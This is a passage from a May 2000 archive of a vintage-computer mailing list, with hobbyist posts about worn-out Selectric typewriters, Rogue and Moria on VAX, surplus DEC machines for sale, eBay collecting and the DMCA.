a selectric in about two weeks. I know a HUMAN typist who wore one out in ONE. (she could AVERAGE 150 words per minute over 8 hour days! Not the world's fastest, but close. At the end of the day, she barely had any remembrance of what she had typed.) It is vitally important that you not exceed 14.8 characters per second on Selectrics. The cheap home Selectrics are way too flimsy and short-lived for ANYTHING. Always get the "heavy duty" models. -- Grumpy Ol' Fred cisin@xenosoft.com From ethan_dicks at yahoo.com Wed May 10 20:00:48 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:43 2005 Subject: s100 busses! Message-ID: <20000511010048.2561.qmail@web614.mail.yahoo.com> --- Frank McConnell wrote: > Ron Hudson wrote: > > Does anyone still sell s100 based computers? > > Aren't they used still for process controll and automation? > > Some years ago (1994 or 1995 I think) someone posted an article to > alt.folklore.computers about a manufacturer of voting machines who was > still building their own S-100-based design for use in that > application. Sorry, I didn't save a copy of the article. The Center of Science and Industry (COSI) in Columbus has a corner of their new building set aside as a tribute to the old museum (c. 1964 - 1999). Part of it is a kiosk with the original computer equipment performing the original tasks for which they were programmed - a C-64 running a lemonaide stand simulation (c. 1983) and an S-100 box running a crime survey (c. 1979). In the old museum, these used to sit outside the "CIVIC" room, a DECSystem 2020 attached to the Compu$erve network providing computing services for non-profit organizations (The DEC-20 was decomissioned and reclaimed by CI$ many, many years ago). -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From zmerch at 30below.com Wed May 10 20:29:45 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:52:43 2005 Subject: Keyboard actuator In-Reply-To: References: <003301bfbadc$09443660$0400c0a8@winbook> Message-ID: <3.0.1.32.20000510212945.00be2950@mail.30below.com> Rumor has it that Fred Cisin (XenoSoft) may have mentioned these words: >On Wed, 10 May 2000, Richard Erlacher wrote: >> I knew someone who had one of these gadgets back in the '70's. He wore out >> a selectric in about two weeks. > >I know a HUMAN typist who wore one out in ONE. >(she could AVERAGE 150 words per minute over 8 hour days! Not the >world's fastest, but close. At the end of the day, she barely had any >remembrance of what she had typed.) > >It is vitally important that you not exceed 14.8 characters per second on >Selectrics. >The cheap home Selectrics are way too flimsy and short-lived for ANYTHING. >Always get the "heavy duty" models. To bring this back on track... I could average 100-105 over a 5-6 hour period back in my heyday, and did if for around a month transcribing a few books into my Tandy 200... IMHO still the sweetest laptop keyboard ever. BTW, it must have been "heavy duty" as it's still working just fine. (I have a pretty light touch for typing...) See ya, "Merch" -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From zmerch at 30below.com Wed May 10 20:38:05 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:52:43 2005 Subject: Rogue for VAX... In-Reply-To: <3919FAF7.296A0CC8@mcmanis.com> References: Message-ID: <3.0.1.32.20000510213805.009dbc00@mail.30below.com> Rumor has it that Chuck McManis may have mentioned these words: >Well, I'm using a VAX to teach my daughter C programming. She likes >having the "weird" computer all to herself. (I'll have to get after her >about playing rogue though :-) Where do you get Rogue for the VAX? Or, more appropriately, is it any good? Rogue for the CoCo was pretty good - Rogue for the IBM/PC sucked bigtime. (I hope that doesn't suprise you!;-) See ya, Roger "Merch" Merchberger P.S. I installed Tru64 Unix on my Alpha 150, but it wouldn't run right because I dinked with the partitioning during the install. So, I installed VMS/Alpha 7.21 on it, but I forgot you can't use a 2G drive for VMS on the boot drive... so I installed a 1G drive instead, installed VMS/Alpha, and it *still* wouldn't boot... Am I stupid, or what? (I know, I don't have any error messages - it's at home, I'm at work, so I'll followup with more info when I get it)... -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From CLASSICCMP at trailing-edge.com Wed May 10 21:26:46 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:43 2005 Subject: Rogue for VAX... Message-ID: <000510222646.2020c231@trailing-edge.com> >Where do you get Rogue for the VAX? I do believe that some of the latest "standard" versions just plain compile under VMS. You'll need a C compiler and a MMK-type make utility. I also believe nethack is available, too. A different branch off the Rogue evolutionary tree is Moria. There are many versions of this floating around... most notably: $ ftp ubvms.buffalo.edu/anon MadGoat FTP client V2.6-1 %FTP-I-ATTEMPTING, Attempting to connect to host ubvms.buffalo.edu <220 ubvms.cc.buffalo.edu MultiNet FTP Server Process V4.2(16) at Wed 10-May-200 0 10:25PM-EDT %FTP-I-LOGIN, Attempting to login to user anonymous <331 anonymous user ok. Send real ident as password. <230-Guest User SHOPPA@TIMAXP.TRAILING-EDGE.COM logged into SYS$SYSDEVICE:[FTP] at Wed 10-May-2000 10:25PM-EDT, job 1f46. <230 Directory and access restrictions apply FTP:ubvms.buffalo.edu> cd maslib <250 Connected to SYS$SYSDEVICE:[FTP.MASLIB]. FTP:ubvms.buffalo.edu> cd games <250 Connected to SYS$SYSDEVICE:[FTP.MASLIB.GAMES]. FTP:ubvms.buffalo.edu> dir *moria* <200 Stru F ok. <200 Port 61.7 at Host 63.73.218.130 accepted. <150 List started. SYS$SYSDEVICE:[FTP.MASLIB.GAMES] IMORIA.DIR;1 7 18-NOV-1997 14:41 [TKSLEN] (RWED,RWED,R,R) MORIA_443.DIR;1 5 18-NOV-1997 14:42 [TKSLEN] (RWED,RWED,R,R) MORIA_480.DIR;1 5 18-NOV-1997 14:42 [TKSLEN] (RWED,RWED,R,R) MORIA_500.DIR;1 6 18-NOV-1997 14:42 [TKSLEN] (RWED,RWED,R,R) UMORIA.DIR;1 5 18-NOV-1997 14:43 [TKSLEN] (RWED,RWED,R,R) >P.S. I installed Tru64 Unix on my Alpha 150, but it wouldn't run right >because I dinked with the partitioning during the install. So, I installed >VMS/Alpha 7.21 on it, but I forgot you can't use a 2G drive for VMS on the >boot drive... so I installed a 1G drive instead, installed VMS/Alpha, and >it *still* wouldn't boot... Am I stupid, or what? Huh? Since when does an Alpha have the 1G boot drive limitation? This limitation only applies to some of the older VS3100's, AFAIK. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From jrkeys at concentric.net Wed May 10 21:37:30 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:43 2005 Subject: Searching for PS/2-E (9533-DB7) reference diskette References: <20000510051817.22542.qmail@web612.mail.yahoo.com> Message-ID: <021e01bfbaf1$dba0dae0$c8731fd1@default> Have you tried IBM in Germany they still list most of the older set-up and reference disk that IBM here the States no longer store on their web site ? I have use it to download a few disk for my old ps/2's. Good Luck John ----- Original Message ----- From: Ethan Dicks To: classiccmp list Sent: Wednesday, May 10, 2000 12:18 AM Subject: Searching for PS/2-E (9533-DB7) reference diskette > > I know it's not _quite_ 10 years old, but it's getting there. The principle > of attraction has worked and my IBM quad-PCMCIA card has attracted a couple > of hosts - a PS/2-E that it originally came out of. I have been to the IBM > support site - no concrete references to the PS-2/E. I have located reference > diskettes for all sorts of IBM-brand products, but not the 9533. It's > distinguishing features include a low-power design with one ISA slot for this > quad-PCMCIA card to minimize peripheral draw. Additionally, it uses a 2.5" > laptop disk (120Mb) and only has one serial port. As shipped from IBM, there > was an LCD panel for a monitor, but I've never seen that part in person, only > in old ads. > > Does anyone have a disk image they can ship me, or a pointer to an image > somewhere? I'm thinking of turning this into a router box. I have the > PCMCIA NICs to do it with. > > Thanks, > > -ethan > > > ===== > Even though my old e-mail address is no longer going to > vanish, please note my new public address: erd@iname.com > > The original webpage address is still going away. The > permanent home is: http://penguincentral.com/ > > See http://ohio.voyager.net/ for details. > > __________________________________________________ > Do You Yahoo!? > Send instant messages & get email alerts with Yahoo! Messenger. > http://im.yahoo.com/ > From allisonp at world.std.com Wed May 10 20:15:27 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... Message-ID: <004c01bfbaec$db9cfc90$6e64c0d0@ajp166> >Assumeing you could get them connected what nobel project could this mass >of diversified machines be commissioned to do? Obviously they are way too >slow to do Seti@home (Wouldn't it be a kick if a really old machine found >something significant?) but surely there could be some project that could >be engineered to be useful? One that naturally comes to mind is file conversion/transfer. I'ts the primary use here. Another could be using the common node as the terminal to any of the connected clients. >Does this even make sense? Yes. From af-list at wfi-inc.com Wed May 10 22:17:16 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:43 2005 Subject: Really Why I Hate eBay In-Reply-To: Message-ID: On Wed, 10 May 2000, foo wrote: > Before eBay I was able to build a fairly significantly collection through > a lot of hard work. This included a lot of searching, a lot of walking, a > lot of driving, a lot of bargaining, lot of hauling, some sweat, some > blood, perhaps a few tears, etc. Through all this hard work I was able to > amass a very nice collection of historical computer artifacts. It took > some money as well, but the journey was the reward as they say. I think I read something about this in Campbell's 'Hero With a Thousand Faces'... Aaron From jfoust at threedee.com Wed May 10 22:51:36 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:44 2005 Subject: TN 55xy Available In-Reply-To: Message-ID: <4.3.0.20000510225011.01f45f00@pc> "Free? Did somebody say 'Free'?", he said in his best Jambi voice. This message is from a microscope enthusiast list. I have no idea what this is, but it's got 8 inch drives, so it must be a computer, right? - John At 12:59 PM 5/10/00 -0400, Robert Wieland wrote: >------------------------------------------------------------------------ >The Microscopy ListServer -- Sponsor: The Microscopy Society of America >To Subscribe/Unsubscribe -- Send Email to ListServer@MSA.Microscopy.Com >On-Line Help http://www.msa.microscopy.com/MicroscopyListserver/FAQ.html >-----------------------------------------------------------------------. > > > Free to anyone who will take it away, a Tracor-Northern 55xy (not sure >which member of the 5500 family) console unit, with keyboard but without >monitor. Has two 8" drives on the front. A few manuals & floppies of >software go with it. This was once used at another site to run the WDS on >a JEOL 840, but has been sitting here unconnected in a corner for several >years. It is complete (has had nothing taken out of it), but condition is >otherwise unknown. > Located at the University of Delaware, in Newark, Delaware, about five >miles off I95. > Respond to wieland@me.udel.edu > >Robert Wieland wieland@me.udel.edu >The very concept of human governance is a moral dilemma: >If the people are good, it is a mistake to create authorities over them; >If they are not good, it is a mistake to create authorities out of them. > > > From mikeford at socal.rr.com Wed May 10 22:15:30 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:44 2005 Subject: Ebay Altair In-Reply-To: References: <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> Message-ID: >I guess that article on where to find old computers that I've been meaning >to write is still very relevant. I'll dust it off and finish it up. No need for an article, just pass out http:/www.ebay.com Seriously, the last thing I want is some "new" people to find all my favorite haunts. From mikeford at socal.rr.com Wed May 10 22:25:29 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:44 2005 Subject: Getting all the system connected... In-Reply-To: References: Message-ID: What I always envisioned was some kind of traveling road show for old computers. Something not too hard to setup and take down that would maybe run some networked games etc. and show people what it was like in the "old" days. Another idea I had was similar using compact macs, like the SE or SE/30, and a traveling setup for demos of the net, email etc. From rws at enteract.com Wed May 10 23:36:11 2000 From: rws at enteract.com (Richard W. Schauer) Date: Sun Feb 27 18:52:44 2005 Subject: Mainframe DASD available in chicago area In-Reply-To: Message-ID: > IBM 3880 qty. 1 > IBM 3380 K qty. 2 Whereabouts are these things? I work in the far northwest suburbs. Is it a get it right now or they'll be scrapped thing, or is there time? Are they someplace where they can be looked at? I might be interested. Thsnks, Richard From sethm at loomcom.com Thu May 11 01:09:20 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:44 2005 Subject: Evil VAXstation 3100 disk mounting gaskets! Message-ID: <20000510230920.A4917@loomcom.com> Hey all, I've got a question for DECheads out there who are familiar with the VAXstation 3100 (and DECstation 3100, for that matter) series of DEC systems. These little beasts don't use mounting brackets like the rest of the desktop computer universe. They instead rely on the little screw holes located on the bottom of standard 3.5" form factor harddrives, and these really INSIDIOUS LITTLE RUBBERIZED GASKETS that you wedge into various mount-holes on a metal plate inside the VAXstation's case. The drive sits on these gaskets, you see, and gets insulated from the scary conductive metal plate, while still getting a little airflow under the electronics. I'm ALWAYS missing at _least_ one gasket whenever I want to mount a drive. Often, I'm missing all four of them at once, making life terribly difficult. I've resorted to using non-conductive washers and screws with _really_ big heads to kind of work around it, but it's a sub-optimal solution. Does anyone know where to get these little guys? Did DEC have a part number for them? Or are they a common part available at your local Fry's Electronics, and I just haven't found them yet? I really need some, you see. Thanks for any (and all) help! -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From vcf at siconic.com Thu May 11 00:27:38 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:52:44 2005 Subject: Compaq portable Message-ID: Here's a guy with a Compaq portable up for grabs. Please contact the original sender. Reply-to: N5TZR@TDF.NET ---------- Forwarded message ---------- Date: Thu, 11 May 2000 00:16:27 -0500 From: Michael Cedeck To: donate@vintage.org Subject: courious if ya want it... I have a old compac portable, (lugable). the early version of a laptop, the one with the keyboard in the bottom , built in monitor, floppy drive. Michael n5tzr@tdf.net Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... VCF Europe: April 29th & 30th, Munich, Germany VCF Los Angeles: Summer 2000 (*TENTATIVE*) VCF East: Planning in Progress See http://www.vintage.org for details! From dpeschel at eskimo.com Thu May 11 03:03:46 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator In-Reply-To: from "Fred Cisin (XenoSoft)" at May 10, 2000 05:56:48 PM Message-ID: <200005110803.BAA22993@eskimo.com> Fred Cisin wrote... > It is vitally important that you not exceed 14.8 characters per second on > Selectrics. ... or what? Does the Balls-O-Meter wear out? :) From s.d.birchall at pgr.salford.ac.uk Thu May 11 03:40:11 2000 From: s.d.birchall at pgr.salford.ac.uk (Stu) Date: Sun Feb 27 18:52:44 2005 Subject: reflections on ebay References: Message-ID: <005b01bfbb24$85670040$160917d4@zen.co.uk> I can't agree that Ebay is unfair, assuming everyone is familiar with the rules. The auction system itself is prone to manipulation however, and I dislike the practice of sniping, as a flurry of bids in the last minute of an auction reduces it to little more than a lottery based on "who can click on the button in the last possible instant". Ebay is also not responsible for the "Industrialisation of nostalgia", it is merely a manifestation of it. We have more money or "stored work units" as one poster put it, but disproportionately less leisure time with which to expend it. Nostalgia is compelling and services like e-bay can re-acquaint ourselves with lost youth in a satisfyingly compressed timeframe with the minimum amount of effort. Not being involved in the "hunt" for that treasured artifact should be differentiated from the intellectual exercise of learning about it and understanding its significance; people can enjoy collections without physically assembling them through luck and physcial effort - though these things are satisfying in themselves (as we all know). What everyone can agree on is the limited value of collecting without intellectual exercise, when collecting becomes "material acquisition". This is unsatisfying for the collector and the artifacts, and is a reflection of the materialistic society in which we live and have always lived. Those who do not really understand computer collecting would argue that emulation renders collecting of old machines unecessary - after all, what is it you are collecting? The physical machine, or the patterns of its organisation, architecture and execution? Comments please.. From jolminkh at nsw.bigpond.net.au Thu May 11 07:18:41 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:52:44 2005 Subject: Fw: Digital PDP11 Message-ID: <00f901bfbb43$0cc05f00$dadf8490@tp.nsw.bigpond.net.au> Can anybody in Europe help these people? -----Original Message----- From: misbrieuc@wanadoo.fr Newsgroups: aus.computers Date: Wednesday, 10 May 2000 0:37 Subject: Digital PDP11 >Good afternoon, > > >We use a Digital pdp 11, model 04 for the application of process >piloting. > >People who have been working in the firm for a long time will remember >that: > >We lack kit pieces in order to keep this material working. > >The research with the computer brokers brings no results. > >I'm therefore looking for one pdp 11 or some change pieces, in our >companies' cupboards. > >Thank you for your help. > > > > >PS: of course, the managed application is critical for the company and >the replacement of the functions cared by the calculator would be too >expensive. > From bbrown at harper.cc.il.us Thu May 11 07:15:48 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:52:44 2005 Subject: Mainframe DASD available in chicago area In-Reply-To: References: Message-ID: > > IBM 3880 qty. 1 > > IBM 3380 K qty. 2 > >Whereabouts are these things? I work in the far northwest suburbs. Is it >a get it right now or they'll be scrapped thing, or is there time? Are >they someplace where they can be looked at? I might be interested. > >Thsnks, >Richard I'll pass this on to my friend. -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From rigdonj at intellistar.net Thu May 11 08:38:00 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:44 2005 Subject: DEC stuff Message-ID: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Hi, I was helping to sort a load of surplus test equipment yesterday and found a couyple of DEC computers. Since I'm not a DEC head I don't know anything about them so can someone tell me more about them and if they're worth rescueing. The first is a DEC Por 350, there are two of them. The other is is a Micro PDP 11/73. Both are roughly the size of a large tower case for a PC. There's also a VAX 11/785 there but it's huge! Joe From RCini at congressfinancial.com Thu May 11 07:41:54 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:44 2005 Subject: Persistence of Vision (was Re: Cool hack (was Busses vs no busses )) Message-ID: <497A9E0467D2D2119B760090271EB8E50E90F1@MAIL10> Well, it must have been a brain fart. I can't find the article at all. Not in PE, EN, CirCellar, or N&V. I have no idea where I saw it. I did come across a project for the BS1 in "Programming and Customizing the Basic Stamp Computer" by Scott Edwards (p. 87) for a POV message machine. It wouldn't be too hard to add a Dallas serial clock and change the code to make a clock. Rich -----Original Message----- There was a project just for this in Electronics Now or Popular Electronics just recently. I'd say Feb. or March issue. If I have time tonight, I'll dig-up the article. As I recall, it uses a PIC and a group of LEDs on a pendulum to provide the date and time using the same "persistence of vision" as mentioned below. I don't recall if the swinging was user-invoked, motorized or magnetic. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Marvin [mailto:marvin@rain.org] Sent: Tuesday, May 09, 2000 11:06 AM To: classiccmp@classiccmp.org Subject: Re: Cool hack (was Busses vs no busses) John Foust wrote: > > What's the name of those signs that are composed of nothing but > a single vertical column of LEDs, where you can only see the > image (or the digital clock display, etc.) as your eye scans > across it, leaving the multiplexed image in your brain? I can't recall either, but that brings to mind an interesting project a friend of mine worked on quite a few years ago. The Art Museum here was having some kind of show and an artist wanted to paint electronic pictures. My friend designed the electronics (I built the circuit boards) to put a line of LEDs on a pendulum and paint pictures electronically as the pendulum swung through its arc. With the multi-colored and higher intensity LEDs available today, it would be really cool to do the same thing but with color pictures. Doesn't sound like too hard a project especially with the speed of todays computers. ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From allisonp at world.std.com Thu May 11 08:33:55 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator In-Reply-To: <200005110803.BAA22993@eskimo.com> Message-ID: > Fred Cisin wrote... > > It is vitally important that you not exceed 14.8 characters per second on > > Selectrics. > > ... or what? Does the Balls-O-Meter wear out? :) Like most typewriters it's mechancical and if driven to fast it will jam and do bad things. allison From allisonp at world.std.com Thu May 11 08:40:29 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:44 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Message-ID: > worth rescueing. The first is a DEC Por 350, there are two of them. The Pro350, small system uses a tube and keyboard has internal PDP-11 cpu of the F11 flavor. Somewhat common around here rare in some areas. Nice machine. > other is is a Micro PDP 11/73. Both are roughly the size of a large tower Qbus pdp-11 in BA23 pedestal box, J11 cpu fairly fast for it's kind. Common enough. I'd be interested in the cpu as a spare. The boards have some cash value. there are still plenty of PDP-11s in use. > case for a PC. There's also a VAX 11/785 there but it's huge! Scarce, not that many built and most were retired at lesat 10 yeas ago. Last member of the 11/7xx series that started the vax line. allison From ethan_dicks at yahoo.com Thu May 11 09:08:21 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator Message-ID: <20000511140821.14942.qmail@web611.mail.yahoo.com> --- Derek Peschel wrote: > Fred Cisin wrote... > > It is vitally important that you not exceed 14.8 characters per second on > > Selectrics. > > .... or what? Does the Balls-O-Meter wear out? :) As tank-like as the Selectrics are, you really _can_ wear them out. My mother used to make her living typing court transcripts (in the evenings, from the tapes the court reporters make during the day). One time, she took her IBM Selectric II to a new shop for minor repair and adjustment. The shop owner commented that he'd never seen wear on certain parts until then. When the job was done, he asked her to try it out in the store. About a minute into the machine-gun reverie, he commented that the two of them were going to become fast friends. He was right. She took one of her two machines to the shop at least once or twice per year. I don't know how fast she typed, but it was well in excess of 100 wpm. 14.8 cps - it's not the law, just a good idea. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From pechter at pechter.dyndns.org Thu May 11 09:56:30 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:44 2005 Subject: DEC stuff In-Reply-To: from "allisonp@world.std.com" at "May 11, 2000 09:40:29 am" Message-ID: <200005111456.KAA00588@bg-tc-ppp994.monmouth.com> > > > case for a PC. There's also a VAX 11/785 there but it's huge! > > Scarce, not that many built and most were retired at lesat 10 yeas ago. > Last member of the 11/7xx series that started the vax line. > > allison > > > Gee 11/785's were very common with almost all the commercial 11/780's being upgraded to either 11/785's or the 11/780-5 wierd front panel. I believe the difference was FCC RF emission cabinet issues. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From marvin at rain.org Thu May 11 10:16:09 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:44 2005 Subject: reflections on ebay References: <005b01bfbb24$85670040$160917d4@zen.co.uk> Message-ID: <391ACEB9.6D3AEAB6@rain.org> Stu wrote: > > I can't agree that Ebay is unfair, assuming everyone is familiar with the > rules. The auction system itself is prone to manipulation however, and I > dislike the practice of sniping, as a flurry of bids in the last minute of > an auction reduces it to little more than a lottery based on "who can click > on the button in the last possible instant". Sniping (bidding in the last seconds of the auction) is an on-going argument that has some strong opinions on both sides. It is most certainly NOT a lottery or even close. It does take advantage, or perhaps even promote, ignorant (of the item value) bids. Sniping would be totally worthless if people would bid what they are *willing* to pay rather than what they are *hoping* to pay. > Ebay is also not responsible for the "Industrialisation of nostalgia", it is > merely a manifestation of it. We have more money or "stored work units" as > one poster put it, but disproportionately less leisure time with which to > expend it. Nostalgia is compelling and services like e-bay can re-acquaint > ourselves with lost youth in a satisfyingly compressed timeframe with the I have thought about that it a bit. The question arises: is it nostalgia, or is it the desire to collect the main factor behind what prices an item will bring? I don't consider usage of older equipment a good reason for higher prices. An Altairs, etc. do not have a lot of practicaL value by themselves since "better" machines are available at far less cost with far more support. From emu at ecubics.com Thu May 11 11:22:20 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:44 2005 Subject: Evil VAXstation 3100 disk mounting gaskets! References: <20000510230920.A4917@loomcom.com> Message-ID: <00f001bfbb65$17850db0$5d01a8c0@p2350> From: sjm > harddrives, and these really INSIDIOUS LITTLE RUBBERIZED GASKETS > that you wedge into various mount-holes on a metal plate inside > the VAXstation's case. The drive sits on these gaskets, you see, > and gets insulated from the scary conductive metal plate, while > still getting a little airflow under the electronics. > > I'm ALWAYS missing at _least_ one gasket whenever I want to mount > a drive. Often, I'm missing all four of them at once, making life > terribly difficult. I've resorted to using non-conductive washers > and screws with _really_ big heads to kind of work around it, > but it's a sub-optimal solution. > > Thanks for any (and all) help! Go to the next hardware store, and check with them about this little rubber pieces (gaskets ?) which are used in faucetts. They are not really original DEC parts ;-), but they work for me. And they are available in many different sizes & shapes. cheers & hope it helps, emanuel From rigdonj at intellistar.net Thu May 11 12:25:16 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:44 2005 Subject: Dec stuff, what's the deal? Message-ID: <3.0.1.16.20000511122516.268f6a44@mailhost.intellistar.net> At 08:38 AM 5/11/00 -0500, I wrote: > >Hi, > > I was helping to sort a load of surplus test equipment yesterday and found a couyple of DEC computers. Since I'm not a DEC head I don't know anything about them so can someone tell me more about them and if they're worth rescueing. The first is a DEC Por 350, there are two of them. The other is is a Micro PDP 11/73. Both are roughly the size of a large tower case for a PC. There's also a VAX 11/785 there but it's huge! > A lot of people responded to my posting and asked "what's the deal" on the 11/73 and 350, so I thought I'd explain the whole situation here. These machines just came out of Martin Marietta. For the ones of you that don't recognize the name, they are the largest defense contractor in the US. They were taken out of the MM plant yesterday morning with a huge load of surplus test equipment. I helped unload, sort and test the stuff yesterday afternoon (and half the night!) I don't know anything about DEC stuff but I thought these looked worthwhile so I grabbed the 11/73 and one of the 350s and separated them from the usual load of PC crap. They still belong to the test equipment dealer but he knows nothing about them or where or how to sell them so he's letting me see what I can do with them. They are for sale so if you want one, make a reasonable offer. If the owner doesn't get what he feels is a fair offer then he or I will put them on E-bay. I took the 11/73 and one of the 350s home with me to try and find out more about them, so if you have any specific questions let me know and I'll try to answer them. I haven't tested them but they look like they're in fine condition. I'll try to hook them up this weekend and find out more about them. Fine print: These are located in the Orlando Florida area. If you buy one, you can pick it up and pay for in person (hint: cash = no tax.) If you need it shipped then there is a $20 packing fee for a custom foam in place shipping box. All of their large test equipment gets shipped that way and even UPS hasn't lost or damaged a piece yet. It will be shipped by your choice of shippers and actual shipping charges will apply. Joe From cisin at xenosoft.com Thu May 11 11:45:15 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: Depending on the number of bits per character, start bits, stop bits, etc., 14.8 or 15 characters per second is APPROXIMATELY 150 bits per second. Depending on how you count words, spaces, etc., 14.8 or 15 characters per second is APPROXIMATELY 150 words per minute. 30 years ago, when I worked at Goddard Space Flight Center, there were some holes in the wall, and discussion of the record "driving" distance for selectric type balls flying when they came off. But I suspect that that was mostly due to sloppy locking down of the ball on insertion. (Some people there kept putting NON-APL type balls in the terminals.) BTW, I'm reminded that there were two more versions of the device. There was a guy in Walnut Creek that made one specifically for selectrics that mounted UNDER the keyboard in place of the stock base. And there was one shown at the 5th? West Coast Computer Faire that used strings for moving the carriage, and worked on MANUAL typewriters (it drew a big cheering crowd). Now, after all of this discussion of them, am I going to have to go to e-bay just to find a buyer?? -- Grumpy Ol' Fred cisin@xenosoft.com On Thu, 11 May 2000 allisonp@world.std.com wrote: > > Fred Cisin wrote... > > > It is vitally important that you not exceed 14.8 characters per second on > > > Selectrics. > > > > ... or what? Does the Balls-O-Meter wear out? :) > > Like most typewriters it's mechancical and if driven to fast it will jam > and do bad things. > > allison From RCini at congressfinancial.com Thu May 11 12:51:07 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:44 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? Message-ID: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> I was reading a post on Slashdot about Microsoft pissing about a huge thread on there about its "embracing and engulfing" the Kerberos standard in its Windows 2000 product (see http://slashdot.org/article.pl?sid=00/05/02/158204 ). The thread had links to a legal analysis of the Digital Millennium Copyright Act (http://www.whitmorelaw.com/Copyright/dmca-analysis.html ). Here's a link to the actual legislation (http://www.hrrc.org/2281enrolled.pdf ). Although the first article is written from the perspective of service provider liability, I can't help but wonder what it means for us (as providers of the "content") in light of the recent goings on with Napster and MP3. For example, although I acknowledge the copyrights of the various owners of the printed materials on my Web site (the AIM documents, for example, since Rockwell is still around), I do not have explicit permission from Rockwell to make those materials available. I'm sure that many of us in our preservation efforts have a mixture of documents from defunct companies and from live ones (but for which the products have been long discontinued). How do we protect ourselves? My plan, frankly, is to continue with my efforts until someone tells me to stop. Thoughts? Rich From sipke at wxs.nl Thu May 11 14:02:59 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:52:44 2005 Subject: Really Why I Hate eBay References: <4.2.2.20000510112253.03abbd80@wave-rock.ao.com> Message-ID: <02fa01bfbb7b$866e2480$030101ac@boll.casema.net> I really hate E-bay or E-pay or E-chitchat for the bandwidth it eats at this list. But then should I blame E-bay? Sipke From foo at siconic.com Thu May 11 12:28:31 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:44 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> Message-ID: On Thu, 11 May 2000, Cini, Richard wrote: > How do we protect ourselves? My plan, frankly, is to continue with > my efforts until someone tells me to stop. I say tally ho old chap. That's probably the best course of action. Just post the material to at least make it useful until which time you are explicitly told by the copyright holder to remove it. The worst they can do is ask you to remove it (cease and desist). Might as well keep this stuff alive as long as there is a need for it and as long as the original copyright holder has no plans for it. As long as the original copyright holder is no longer marketing it and it's not being sold for a 